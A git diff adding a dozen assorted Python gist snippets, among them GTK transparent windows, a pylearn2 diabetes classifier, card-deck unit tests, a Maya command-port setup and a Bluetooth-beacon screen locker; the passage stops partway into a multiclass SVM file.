new file mode 100644
index 00000000..c2237be9
--- /dev/null
+++ b/hard-gists/97256/snippet.py
@@ -0,0 +1,130 @@
+""" Transparent, irregular edge splash screen with pyGTK and XShape.
+Takes a png image with transparent section, creates a window with pyGTK, puts this image in 
+there with cairo and then trims the edges with X11 XShape clipping extension.
+
+This file demonstrates a python script which loads a png image of size 800x650 and name base.png
+Then it creates a GTK+/Cairo window with opaque settings from the png file and the transparent
+portions cut out with a mask. Basic, but works and looks great.
+
+Note: this is a proof of concept file. It works, but it is by no means production ready.
+"""
+
+import sys
+import gobject
+import pango
+import pygtk
+import gtk
+from gtk import gdk
+import cairo
+import gobject
+
+class pngtranswin:
+	def __init__(self):
+		self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+		
+		self.window.set_decorated(0)
+		self.window.set_default_size(800, 650)
+		
+		self.window.set_events(gtk.gdk.ALL_EVENTS_MASK)
+		
+		# Initialize colors, alpha transparency		
+		self.window.set_app_paintable(1)
+		self.gtk_screen = self.window.get_screen()
+		colormap = self.gtk_screen.get_rgba_colormap()
+		if colormap == None:
+			colormap = self.gtk_screen.get_rgb_colormap()
+		gtk.widget_set_default_colormap(colormap)
+		if not self.window.is_composited():
+			self.supports_alpha = False
+		else:
+			self.supports_alpha = True
+		
+		self.w,self.h = self.window.get_size()
+		
+		self.window.connect("expose_event", self.expose)
+		self.window.connect("destroy", gtk.main_quit)
+		
+
+	def expose (self, widget, event):
+		self.ctx = self.window.window.cairo_create()
+		# set a clip region for the expose event, XShape stuff
+		self.ctx.save()
+		if self.supports_alpha == False:
+			self.ctx.set_source_rgb(1, 1, 1)
+		else:
+			self.ctx.set_source_rgba(1, 1, 1,0)
+		self.ctx.set_operator (cairo.OPERATOR_SOURCE)
+		self.ctx.paint()
+		self.ctx.restore()
+		self.ctx.rectangle(event.area.x, event.area.y,
+				event.area.width, event.area.height)
+		self.ctx.clip()
+		self.draw_image(self.ctx,0,0,'base.png')
+
+	def setup(self):
+		# Set menu background image
+		self.background =  gtk.Image()
+		self.frame = gtk.Fixed()
+		self.window.add (self.frame)
+		
+		# Set window shape from alpha mask of background image
+		w,h = self.window.get_size()
+		if w==0: w = 800
+		if h==0: h = 650
+		self.w = w
+		self.h = h
+		self.pixmap = gtk.gdk.Pixmap (None, w, h, 1)
+		ctx = self.pixmap.cairo_create()
+		# todo: modify picture source
+		#self.bgpb = gtk.gdk.pixbuf_new_from_file('base.png')
+		ctx.save()
+		ctx.set_source_rgba(1, 1, 1,0)
+		ctx.set_operator (cairo.OPERATOR_SOURCE)
+		ctx.paint()
+		ctx.restore()
+		self.draw_image(ctx,0,0,'base.png')
+		
+		if self.window.is_composited():
+			ctx.rectangle(0,0,w,h)
+			ctx.fill()			
+			self.window.input_shape_combine_mask(self.pixmap,0,0)
+		else:
+			self.window.shape_combine_mask(self.pixmap, 0, 0)
+
+	def draw_image(self,ctx,x,y, pix):
+		"""Draws a picture from specified path with a certain width and
+height"""
+
+		ctx.save()
+		ctx.translate(x, y)	
+		pixbuf = gtk.gdk.pixbuf_new_from_file(pix)
+		format = cairo.FORMAT_RGB24
+		if pixbuf.get_has_alpha():
+			format = cairo.FORMAT_ARGB32
+		#if Images.flip != None:
+		#	pixbuf = pixbuf.flip(Images.flip)
+	
+		iw = pixbuf.get_width()
+		ih = pixbuf.get_height()
+		image = cairo.ImageSurface(format, iw, ih)
+		image = ctx.set_source_pixbuf(pixbuf, 0, 0)
+		
+		ctx.paint()
+		puxbuf = None
+		image = None
+		ctx.restore()
+		ctx.clip()
+
+	def show_window(self):
+		self.window.show_all()
+		while gtk.events_pending():
+			gtk.main_iteration()
+		self.window.present()
+		self.window.grab_focus()
+		self.p = 1
+
+if __name__ == "__main__":
+	m = pngtranswin()
+	m.setup()
+	m.show_window()
+	gtk.main()
\ No newline at end of file
diff --git a/hard-gists/9747287/._snippet.py b/hard-gists/9747287/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9747287/._snippet.py differ
diff --git a/hard-gists/9747287/snippet.py b/hard-gists/9747287/snippet.py
new file mode 100644
index 00000000..6ef58334
--- /dev/null
+++ b/hard-gists/9747287/snippet.py
@@ -0,0 +1,134 @@
+import theano
+from pylearn2.models import mlp
+from pylearn2.train_extensions import best_params
+from pylearn2.training_algorithms import sgd, learning_rule
+from pylearn2.utils import serial
+from pylearn2.termination_criteria import MonitorBased
+from pylearn2.datasets.dense_design_matrix import DenseDesignMatrix
+from sklearn.preprocessing import StandardScaler
+import numpy as np
+from random import randint
+import itertools
+import os
+
+os.system('rm /tmp/best.pkl')
+
+PIMA_DATASET = './pima-indians-diabetes.data'
+ 
+scaler = StandardScaler()
+
+class Pima(DenseDesignMatrix):
+    def __init__(self, X=None, y=None):
+        X = X
+        y = y
+        if X is None:
+            X = []
+            y = []
+            with open(PIMA_DATASET) as f:
+                for line in f:
+                    features, label = line.rsplit(',', 1)
+                    X.append(map(float, features.split(',')))
+                    if int(label) == 0:
+                        y.append([1, 0])
+                    else:
+                        y.append([0, 1])
+            X = np.asarray(X)
+            X = scaler.fit_transform(X)
+            y = np.asarray(y)
+        super(Pima, self).__init__(X=X, y=y)
+
+    @property
+    def nr_inputs(self):
+        return len(self.X[0])
+
+    def split(self, prop=.8):
+        cutoff = int(len(self.y) * prop)
+        X1, X2 = self.X[:cutoff], self.X[cutoff:]
+        y1, y2 = self.y[:cutoff], self.y[cutoff:]
+        return Pima(X1, y1), Pima(X2, y2)
+
+    def __len__(self):
+        return self.X.shape[0]
+
+    def __iter__(self):
+        return itertools.izip_longest(self.X, self.y)
+    
+
+# create datasets
+ds_train = Pima()
+ds_train, ds_valid = ds_train.split(0.7)
+ds_valid, ds_test = ds_valid.split(0.7)
+
+# create sigmoid hidden layer with 20 nodes, init weights in range -0.05 to 0.05 and add
+# a bias with value 1
+hidden_layer = mlp.Sigmoid(layer_name='hidden', dim=20, irange=.05, init_bias=1.)
+# softmax output layer
+output_layer = mlp.Softmax(2, 'output', irange=.05)
+layers = [hidden_layer, output_layer]
+
+# termination criterion that stops after 50 epochs without
+# any increase in misclassification on the validation set
+termination_criterion = MonitorBased(channel_name='output_misclass',
+                                     N=50, prop_decrease=0.0)
+
+# momentum
+initial_momentum = .5
+final_momentum = .99
+start = 1
+saturate = 50
+momentum_adjustor = learning_rule.MomentumAdjustor(final_momentum, start, saturate)
+momentum_rule = learning_rule.Momentum(initial_momentum)
+
+# learning rate
+start = 1
+saturate = 50
+decay_factor = .1
+learning_rate_adjustor = sgd.LinearDecayOverEpoch(start, saturate, decay_factor)
+
+# create neural net
+ann = mlp.MLP(layers, nvis=ds_train.nr_inputs)
+
+# create Stochastic Gradient Descent trainer 
+trainer = sgd.SGD(learning_rate=.05, batch_size=10, monitoring_dataset=ds_valid,
+                  termination_criterion=termination_criterion, learning_rule=momentum_rule)
+trainer.setup(ann, ds_train)
+
+# add monitor for saving the model with best score
+monitor_save_best = best_params.MonitorBasedSaveBest('output_misclass',
+                                                     '/tmp/best.pkl')
+
+# train neural net until the termination criterion is true
+while True:
+    trainer.train(dataset=ds_train)
+    ann.monitor.report_epoch()
+    ann.monitor()
+    monitor_save_best.on_monitor(ann, ds_valid, trainer)
+    if not trainer.continue_learning(ann):
+        break
+    momentum_adjustor.on_monitor(ann, ds_valid, trainer)
+    learning_rate_adjustor.on_monitor(ann, ds_valid, trainer)
+
+# load the best model
+ann = serial.load('/tmp/best.pkl')
+
+# function for classifying a input vector
+def classify(inp):
+    inp = np.asarray(inp)
+    inp.shape = (1, ds_train.nr_inputs)
+    return np.argmax(ann.fprop(theano.shared(inp, name='inputs')).eval())
+
+# function for calculating and printing the models accuracy on a given dataset
+def score(dataset):
+    nr_correct = 0
+    for features, label in dataset:
+        if classify(features) == np.argmax(label):
+            nr_correct += 1
+    print '%s/%s correct' % (nr_correct, len(dataset))
+
+print
+print 'Accuracy of train set:'
+score(ds_train)
+print 'Accuracy of validation set:'
+score(ds_valid)
+print 'Accuracy of test set:'
+score(ds_test)
diff --git a/hard-gists/9750796/._snippet.py b/hard-gists/9750796/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9750796/._snippet.py differ
diff --git a/hard-gists/9750796/snippet.py b/hard-gists/9750796/snippet.py
new file mode 100644
index 00000000..317829a2
--- /dev/null
+++ b/hard-gists/9750796/snippet.py
@@ -0,0 +1,29 @@
+import numpy as np
+import marisa_trie
+from sklearn.feature_extraction.text import CountVectorizer
+from sklearn.externals import six
+
+class MarisaCountVectorizer(CountVectorizer):
+
+    # ``CountVectorizer.fit`` method calls ``fit_transform`` so
+    # ``fit`` is not provided
+    def fit_transform(self, raw_documents, y=None):
+        X = super(MarisaCountVectorizer, self).fit_transform(raw_documents)
+        X = self._freeze_vocabulary(X)
+        return X
+
+    def _freeze_vocabulary(self, X=None):
+        if not self.fixed_vocabulary_:
+            frozen = marisa_trie.Trie(six.iterkeys(self.vocabulary_))
+            if X is not None:
+                X = self._reorder_features(X, self.vocabulary_, frozen)
+            self.vocabulary_ = frozen
+            self.fixed_vocabulary_ = True
+            del self.stop_words_
+        return X
+
+    def _reorder_features(self, X, old_vocabulary, new_vocabulary):
+        map_index = np.empty(len(old_vocabulary), dtype=np.int32)
+        for term, new_val in six.iteritems(new_vocabulary):
+            map_index[new_val] = old_vocabulary[term]
+        return X[:, map_index]
diff --git a/hard-gists/9763549/._snippet.py b/hard-gists/9763549/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9763549/._snippet.py differ
diff --git a/hard-gists/9763549/snippet.py b/hard-gists/9763549/snippet.py
new file mode 100644
index 00000000..c121ac9c
--- /dev/null
+++ b/hard-gists/9763549/snippet.py
@@ -0,0 +1,15 @@
+import maya.cmds as cmds
+
+# Close ports if they were already open under another configuration
+try:
+    cmds.commandPort(name=":7001", close=True)
+except:
+    cmds.warning('Could not close port 7001 (maybe it is not opened yet...)')
+try:
+    cmds.commandPort(name=":7002", close=True)
+except:
+    cmds.warning('Could not close port 7002 (maybe it is not opened yet...)')
+
+# Open new ports
+cmds.commandPort(name=":7001", sourceType="mel")
+cmds.commandPort(name=":7002", sourceType="python")
\ No newline at end of file
diff --git a/hard-gists/9768713/._snippet.py b/hard-gists/9768713/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9768713/._snippet.py differ
diff --git a/hard-gists/9768713/snippet.py b/hard-gists/9768713/snippet.py
new file mode 100644
index 00000000..9eb271ea
--- /dev/null
+++ b/hard-gists/9768713/snippet.py
@@ -0,0 +1,65 @@
+import sys
+from gi.repository import Gtk, Gdk, WebKit
+
+class WebKitWindow(Gtk.Window):
+	scrolls = None
+	webView = None
+
+	def __init__(self, url, transparent=False):
+		Gtk.Window.__init__(self, Gtk.WindowType.TOPLEVEL, title='')
+		self.scrolls = Gtk.ScrolledWindow()
+		self.webView = WebKit.WebView()
+		
+		self.set_position(Gtk.WindowPosition.CENTER_ALWAYS)
+		self.resize(1024, 600)
+
+		self.installTransparency(self.scrolls)
+		self.scrolls.set_policy(Gtk.PolicyType.NEVER, Gtk.PolicyType.NEVER)
+
+		self.webView.set_transparent(True)
+		self.webView.connect('title-changed', self.titleChanged)
+		self.webView.load_uri(url)
+
+		self.scrolls.add(self.webView)
+		self.add(self.scrolls)
+		
+		if ( transparent ):
+			self.set_decorated(False)
+			self.installTransparency(self)
+			self.installTransparency(self.webView)
+
+	def installTransparency(self, component):
+		component.set_visual(component.get_screen().get_rgba_visual())
+
+		component.override_background_color(Gtk.StateFlags.ACTIVE, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.BACKDROP, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.DIR_LTR, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.DIR_RTL, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.FOCUSED, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.INCONSISTENT, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.INSENSITIVE, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.NORMAL, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.PRELIGHT, Gdk.RGBA(0, 0, 0, 0))
+		component.override_background_color(Gtk.StateFlags.SELECTED, Gdk.RGBA(0, 0, 0, 0))
+
+		transparentWindowStyleProvider = Gtk.CssProvider()
+		transparentWindowStyleProvider.load_from_data("""
+			GtkWindow {
+				background-color: rgba(0, 0, 0, 0);
+				background-image: none;
+			}
+		""")
+
+		component.get_style_context().add_provider(transparentWindowStyleProvider, Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION)
+
+	def titleChanged(self, webView, frame, title):
+		self.set_title(title)
+
+if ( __name__ == "__main__" ):
+	Gtk.init(sys.argv)
+
+	mainWindow = WebKitWindow('http://www.google.com.br/', transparent=True)
+	mainWindow.connect('delete-event', Gtk.main_quit)
+	mainWindow.show_all()
+
+	Gtk.main()
\ No newline at end of file
diff --git a/hard-gists/9771f75e3f16ba5daafb/._snippet.py b/hard-gists/9771f75e3f16ba5daafb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9771f75e3f16ba5daafb/._snippet.py differ
diff --git a/hard-gists/9771f75e3f16ba5daafb/snippet.py b/hard-gists/9771f75e3f16ba5daafb/snippet.py
new file mode 100644
index 00000000..eaaea55e
--- /dev/null
+++ b/hard-gists/9771f75e3f16ba5daafb/snippet.py
@@ -0,0 +1,21 @@
+from rest_framework.permissions import BasePermission
+
+
+class IsAjaxPermission(BasePermission):
+    """
+    Check is request is ajax.
+    """
+
+    def has_object_permission(self, request, view, obj):
+        return request.is_ajax()
+
+    def has_permission(self, request, view):
+        return request.is_ajax()
+
+
+# if you want to fake it, just put in the request header 'HTTP_X_REQUESTED_WITH'='XMLHttpRequest'
+
+# from django.http.request.py
+
+# def is_ajax(self):
+#   return self.META.get('HTTP_X_REQUESTED_WITH') == 'XMLHttpRequest'
diff --git a/hard-gists/9773143/._snippet.py b/hard-gists/9773143/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9773143/._snippet.py differ
diff --git a/hard-gists/9773143/snippet.py b/hard-gists/9773143/snippet.py
new file mode 100644
index 00000000..c8a54535
--- /dev/null
+++ b/hard-gists/9773143/snippet.py
@@ -0,0 +1,242 @@
+import unittest
+import collections
+from solution import (RANKS, SUITS, Card, CardCollection,
+                      StandardDeck, SixtySixDeck, BeloteDeck)
+
+
+class RankTest(unittest.TestCase):
+    def setUp(self):
+        self.rank_string = 'Three'
+        self.rank = RANKS[self.rank_string]()
+
+    def test_creation(self):
+        self.assertTrue(self.rank.__class__.__name__, self.rank_string)
+
+    def test_equality_for_identical_ranks(self):
+        rank_copy = RANKS[self.rank_string]()
+        self.assertEqual(rank_copy, self.rank)
+
+    def test_equality_for_diffent_ranks(self):
+        different_rank = RANKS['Four']()
+        self.assertNotEqual(different_rank, self.rank)
+
+    def test_stringify(self):
+        self.assertEqual(self.rank_string, str(self.rank))
+
+    def test_symbol_is_there(self):
+        self.assertEqual(self.rank.symbol, '3')
+
+
+class SuitTest(unittest.TestCase):
+    def setUp(self):
+        self.suit_string = 'Diamonds'
+        self.suit = SUITS[self.suit_string]()
+
+    def test_creation(self):
+        self.assertTrue(self.suit.__class__.__name__, self.suit_string)
+
+    def test_equality_for_identical_suits(self):
+        suit_copy = SUITS[self.suit_string]()
+        self.assertEqual(suit_copy, self.suit)
+
+    def test_equality_for_diffent_suits(self):
+        different_suit = SUITS['Hearts']()
+        self.assertNotEqual(different_suit, self.suit)
+
+    def test_stringify(self):
+        self.assertEqual(self.suit_string, str(self.suit))
+
+    def test_color_is_there(self):
+        self.assertEqual(self.suit.color, 'red')
+
+
+class CardTest(unittest.TestCase):
+    def setUp(self):
+        self.rank = RANKS['Ace']
+        self.suit = SUITS['Spades']
+        self.card = Card(self.rank, self.suit)
+
+    def test_equality_for_identical_cards(self):
+        self.assertEqual(self.card, Card(self.rank, self.suit))
+
+    def test_equality_for_different_cards(self):
+        different_card = Card(RANKS['Queen'], SUITS['Diamonds'])
+        self.assertNotEqual(different_card, self.card)
+
+    def test_stringify(self):
+        self.assertEqual(str(self.card), 'Ace of Spades')
+
+
+class CardCollectionTest(unittest.TestCase):
+    def setUp(self):
+        self.collection = [Card(RANKS['Ace'], SUITS['Diamonds']),
+                           Card(RANKS['Queen'], SUITS['Spades']),
+                           Card(RANKS['Two'], SUITS['Hearts']),
+                           Card(RANKS['Seven'], SUITS['Spades']),
+                           Card(RANKS['Ace'], SUITS['Diamonds']), ]
+        self.deck = CardCollection(self.collection)
+
+    def test_top_card_returns_the_top_card(self):
+        self.assertEqual(self.collection[-1], self.deck.top_card())
+
+    def test_bottom_card_returns_the_bottom_card(self):
+        self.assertEqual(self.collection[0], self.deck.bottom_card())
+
+    def test_add_card_appends_card_to_deck(self):
+        added_card = Card(RANKS['King'], SUITS['Diamonds'])
+        self.deck.add(added_card)
+        self.assertEqual(self.deck.top_card(), added_card)
+
+    def test_draw_from_top_removes_top_card_and_returns_it(self):
+        self.assertEqual(self.deck.draw_from_top(), self.collection[-1])
+        self.assertEqual(self.collection[-2], self.deck.top_card())
+
+    def test_draw_from_bottom_removes_bottom_card_and_returns_it(self):
+        self.assertEqual(self.deck.draw_from_bottom(), self.collection[0])
+        self.assertEqual(self.collection[1], self.deck.bottom_card())
+
+    def test_index_returns_index_of_card(self):
+        self.assertEqual(self.deck.index(self.collection[3]), 3)
+
+    def test_index_return_first_occurences_of_card(self):
+        self.assertEqual(self.deck.index(self.collection[4]), 0)
+
+    def test_index_throws_value_error_if_item_is_missing(self):
+        missing_card = Card(RANKS['Five'], SUITS['Spades'])
+        self.assertRaises(ValueError, self.deck.index, missing_card)
+
+    def test_is_iterable(self):
+        self.assertIsInstance(self.deck, collections.Iterable)
+
+    def test_is_indexable(self):
+        self.assertTrue('__getitem__' in dir(self.deck))
+
+
+class StandardDecksTest(unittest.TestCase):
+    def generate_list_of_cards(self, ranks):
+        return []
+
+    def test_standard_deck(self):
+        standard_deck = ['King of Diamonds',
+                         'Queen of Diamonds',
+                         'Jack of Diamonds',
+                         'Ten of Diamonds',
+                         'Nine of Diamonds',
+                         'Eight of Diamonds',
+                         'Seven of Diamonds',
+                         'Six of Diamonds',
+                         'Five of Diamonds',
+                         'Four of Diamonds',
+                         'Three of Diamonds',
+                         'Two of Diamonds',
+                         'Ace of Diamonds',
+                         'King of Clubs',
+                         'Queen of Clubs',
+                         'Jack of Clubs',
+                         'Ten of Clubs',
+                         'Nine of Clubs',
+                         'Eight of Clubs',
+                         'Seven of Clubs',
+                         'Six of Clubs',
+                         'Five of Clubs',
+                         'Four of Clubs',
+                         'Three of Clubs',
+                         'Two of Clubs',
+                         'Ace of Clubs',
+                         'King of Hearts',
+                         'Queen of Hearts',
+                         'Jack of Hearts',
+                         'Ten of Hearts',
+                         'Nine of Hearts',
+                         'Eight of Hearts',
+                         'Seven of Hearts',
+                         'Six of Hearts',
+                         'Five of Hearts',
+                         'Four of Hearts',
+                         'Three of Hearts',
+                         'Two of Hearts',
+                         'Ace of Hearts',
+                         'King of Spades',
+                         'Queen of Spades',
+                         'Jack of Spades',
+                         'Ten of Spades',
+                         'Nine of Spades',
+                         'Eight of Spades',
+                         'Seven of Spades',
+                         'Six of Spades',
+                         'Five of Spades',
+                         'Four of Spades',
+                         'Three of Spades',
+                         'Two of Spades',
+                         'Ace of Spades']
+
+        self.assertSequenceEqual([str(card) for card in StandardDeck()],
+                                 standard_deck)
+
+    def test_belote_deck(self):
+        belotte_deck = ['King of Diamonds',
+                        'Queen of Diamonds',
+                        'Jack of Diamonds',
+                        'Ten of Diamonds',
+                        'Nine of Diamonds',
+                        'Eight of Diamonds',
+                        'Seven of Diamonds',
+                        'Ace of Diamonds',
+                        'King of Clubs',
+                        'Queen of Clubs',
+                        'Jack of Clubs',
+                        'Ten of Clubs',
+                        'Nine of Clubs',
+                        'Eight of Clubs',
+                        'Seven of Clubs',
+                        'Ace of Clubs',
+                        'King of Hearts',
+                        'Queen of Hearts',
+                        'Jack of Hearts',
+                        'Ten of Hearts',
+                        'Nine of Hearts',
+                        'Eight of Hearts',
+                        'Seven of Hearts',
+                        'Ace of Hearts',
+                        'King of Spades',
+                        'Queen of Spades',
+                        'Jack of Spades',
+                        'Ten of Spades',
+                        'Nine of Spades',
+                        'Eight of Spades',
+                        'Seven of Spades',
+                        'Ace of Spades']
+        self.assertSequenceEqual([str(card) for card in BeloteDeck()],
+                                 belotte_deck)
+
+    def test_sixtysix_deck(self):
+        sixtysix_deck = ['King of Diamonds',
+                         'Queen of Diamonds',
+                         'Jack of Diamonds',
+                         'Ten of Diamonds',
+                         'Nine of Diamonds',
+                         'Ace of Diamonds',
+                         'King of Clubs',
+                         'Queen of Clubs',
+                         'Jack of Clubs',
+                         'Ten of Clubs',
+                         'Nine of Clubs',
+                         'Ace of Clubs',
+                         'King of Hearts',
+                         'Queen of Hearts',
+                         'Jack of Hearts',
+                         'Ten of Hearts',
+                         'Nine of Hearts',
+                         'Ace of Hearts',
+                         'King of Spades',
+                         'Queen of Spades',
+                         'Jack of Spades',
+                         'Ten of Spades',
+                         'Nine of Spades',
+                         'Ace of Spades']
+        self.assertSequenceEqual([str(card) for card in SixtySixDeck()],
+                                 sixtysix_deck)
+
+
+if __name__ == '__main__':
+    unittest.main()
\ No newline at end of file
diff --git a/hard-gists/977777/._snippet.py b/hard-gists/977777/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/977777/._snippet.py differ
diff --git a/hard-gists/977777/snippet.py b/hard-gists/977777/snippet.py
new file mode 100644
index 00000000..6983de17
--- /dev/null
+++ b/hard-gists/977777/snippet.py
@@ -0,0 +1,42 @@
+from twisted.internet import reactor, defer
+
+
+class Api:
+  def __init__(self):
+    self.domainObjects = None
+    self.subscribers = []
+
+  def test(self, url):
+     # code for doing the async stuff here
+      d = defer.Deferred()
+      d.addCallback(self.asyncFinishedHandler)
+      reactor.callLater(3, d.callback, 100)
+
+  def asyncFinishedHandler(self, response):
+     # parse response into domain objects
+      parseResults = self.parse(response)
+      self.domainObjects = parseResults
+      self.__raiseDoneEvent()
+
+  def __raiseDoneEvent(self):
+    for s in self.subscribers:
+      s()
+
+  def parse(self, response):
+    return response
+
+  def subscribeToDoneEvent(self, subscriber):
+    self.subscribers.append(subscriber)
+ 
+def main(): 
+  a = Api()
+
+  def doneEventHandler():
+    print a.domainObjects
+  a.subscribeToDoneEvent(doneEventHandler)
+  a.test("something")
+  reactor.callLater(4, reactor.stop)
+  reactor.run()
+
+if __name__ == "__main__":
+  main()
diff --git a/hard-gists/9797a9ce8ad97de6e326afc7c9894965/._snippet.py b/hard-gists/9797a9ce8ad97de6e326afc7c9894965/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9797a9ce8ad97de6e326afc7c9894965/._snippet.py differ
diff --git a/hard-gists/9797a9ce8ad97de6e326afc7c9894965/snippet.py b/hard-gists/9797a9ce8ad97de6e326afc7c9894965/snippet.py
new file mode 100644
index 00000000..6cd9d6c1
--- /dev/null
+++ b/hard-gists/9797a9ce8ad97de6e326afc7c9894965/snippet.py
@@ -0,0 +1,94 @@
+#!/usr/bin/python
+approved_UUIDs     = ['your-beacon-UUID-here'] # see line 64
+path_to_lock_sound = '/Users/frogor/Desktop/car_lock.m4a'
+path_to_warn_sound = '/Users/frogor/Desktop/viper_warning.m4a'
+
+import time
+import objc
+from objc import NO
+from Foundation import NSBundle, NSClassFromString, NSObject, NSRunLoop, NSDate, NSUUID, NSMakeRange, NSURL
+from AVFoundation import AVAudioPlayer
+import Quartz
+global lock_player
+global warn_player
+
+CoreBluetooth = NSBundle.bundleWithIdentifier_('com.apple.CoreBluetooth')
+_ = CoreBluetooth.load()
+CBCentralManager = NSClassFromString('CBCentralManager')
+
+constants = [
+             ('CBCentralManagerScanOptionAllowDuplicatesKey', '@'),
+             ('CBAdvertisementDataManufacturerDataKey', '@'),
+            ]
+
+objc.loadBundleVariables(CoreBluetooth, globals(), constants)
+
+Login = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/login.framework')
+functions = [
+             ('SACLockScreenImmediate', '@'),
+            ]
+
+objc.loadBundleFunctions(Login, globals(), functions)
+
+# Prep the sound file
+lock_sound_file = NSURL.fileURLWithPath_(path_to_lock_sound)
+lock_player = AVAudioPlayer.alloc().initWithContentsOfURL_error_(lock_sound_file, None)
+lock_player.setNumberOfLoops_(0)
+
+# Prep the sound file
+warn_sound_file = NSURL.fileURLWithPath_(path_to_warn_sound)
+warn_player = AVAudioPlayer.alloc().initWithContentsOfURL_error_(warn_sound_file, None)
+warn_player.setNumberOfLoops_(0)
+
+class BluetoothDelegate(NSObject):
+    def centralManager_didDiscoverPeripheral_advertisementData_RSSI_(self, central, peripheral, advertisement_data, rssi):
+        global player
+        ad_data = advertisement_data.get(CBAdvertisementDataManufacturerDataKey, None)
+        if ad_data != None:
+                companyIDRange = NSMakeRange(0,2);
+                companyIdentifier = ad_data.getBytes_range_(None, companyIDRange)
+                if (ord(companyIdentifier[0]) == 0x4C):
+                    # print "1. got compIdentifier 0x4C"
+                    dataTypeRange = NSMakeRange(2,1);
+                    dataType = ad_data.getBytes_range_(None, dataTypeRange)
+                    if (ord(dataType) == 0x02):
+                        # print "2. got dataType 0x02"
+                        dataLengthRange = NSMakeRange(3,1);
+                        dataLength = ad_data.getBytes_range_(None, dataLengthRange)
+                        if (ord(dataLength) == 0x15):
+                            # print "3. got dataLength 0x15"
+                            uuidRange = NSMakeRange(4, 16)
+                            ad_bytes = ad_data.getBytes_range_(None, uuidRange)
+                            # print ad_bytes
+                            proximityUUID = NSUUID.alloc().initWithUUIDBytes_(ad_bytes)
+                            # print proximityUUID
+                            # ^ uncomment this one to see beacons when you trigger them
+                            if str(proximityUUID) in approved_UUIDs:
+                                # print "You clicked it.\n"
+                                screen_status = Quartz.CGSessionCopyCurrentDictionary()
+                                screen_locked = screen_status.get('CGSSessionScreenIsLocked', 0)
+                                if screen_locked == 0:
+                                    lock_player.play()
+                                    result = SACLockScreenImmediate()
+                                    time.sleep(2)
+                                    lock_player.stop()
+                                else:
+                                    warn_player.play()
+                                    time.sleep(5)
+                                    warn_player.stop()
+    def centralManagerDidUpdateState_(self, central):
+        pass
+
+
+def do_it():
+    delegate = BluetoothDelegate.alloc().init()
+    manager = CBCentralManager.alloc().initWithDelegate_queue_(delegate, None)
+    manager.scanForPeripheralsWithServices_options_(None, {CBCentralManagerScanOptionAllowDuplicatesKey: NO})
+    while True:
+        # print "loop"
+        try:
+            NSRunLoop.currentRunLoop().runUntilDate_(NSDate.dateWithTimeIntervalSinceNow_(0.5))
+        except (KeyboardInterrupt, SystemExit):
+            break
+
+do_it()
\ No newline at end of file
diff --git a/hard-gists/97a1b2b7f954246886de/._snippet.py b/hard-gists/97a1b2b7f954246886de/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/97a1b2b7f954246886de/._snippet.py differ
diff --git a/hard-gists/97a1b2b7f954246886de/snippet.py b/hard-gists/97a1b2b7f954246886de/snippet.py
new file mode 100644
index 00000000..d8939e7d
--- /dev/null
+++ b/hard-gists/97a1b2b7f954246886de/snippet.py
@@ -0,0 +1,47 @@
+# -*- coding:utf-8 -*-
+#import numpy
+from PIL import Image
+
+class Dither:
+    def __init__(self,image_path):
+       self.imgdata = Image.open(image_path).resize((128,128)).convert("L")
+       #self.imgarray = numpy.asarray(self.imgdata)
+
+    def error_diffusion(self):
+        data = self.imgdata.convert(mode="1",dither=1)
+        #maxcol, maxrow = self.imgdata.size
+        #outarray = numpy.copy(self.imgarray)
+        #self.imgarray.flags.writeable = True
+        
+        #for i in xrange(maxrow):
+        #    for j in xrange(maxcol):
+        #        if self.imgarray[i,j] > 0 :
+        #            outarray[i,j] = 1
+        #        else:
+        #            outarray[i,j] = 0
+                #print( str(self.imgarray[i,j]) +"," + str(outarray[i,j]))
+
+                #error = 0
+                
+                #if self.imgarray[i,j] > 127:
+                #    eroor = self.imgarray[i,j] -255
+                #    outarray[i,j] = 1
+                #else:
+                #    eroor = self.imgarray[i,j]
+                #    outarray[i,j] = 0
+                
+                #if(i+1 != maxrow):
+                #    self.imgarray[i+1][j] += 5/16 * error
+                #    if(j+1 != maxcol):
+                #        self.imgarray[i+1][j+1] += 3/16 * error
+                #if(j+1 != maxcol):
+                #    self.imgarray[i][j+1] += 5/16 * error
+                #    if(i != 0):
+                #         self.imgarray[i-1][j+1] += 3/16 * error
+        
+        #data = self.decode_img(numpy.uint8(outarray))
+        
+        return data
+
+    def decode_img(self,img_array):
+        return Image.fromarray(img_array,mode="1")
\ No newline at end of file
diff --git a/hard-gists/97cffbea574a5890f0d7/._snippet.py b/hard-gists/97cffbea574a5890f0d7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/97cffbea574a5890f0d7/._snippet.py differ
diff --git a/hard-gists/97cffbea574a5890f0d7/snippet.py b/hard-gists/97cffbea574a5890f0d7/snippet.py
new file mode 100644
index 00000000..15945f9b
--- /dev/null
+++ b/hard-gists/97cffbea574a5890f0d7/snippet.py
@@ -0,0 +1,152 @@
+"""
+Multiclass SVMs (Crammer-Singer formulation).
+
+A pure Python re-implementation of:
+
+Large-scale Multiclass Support Vector Machine Training via Euclidean Projection onto the Simplex.
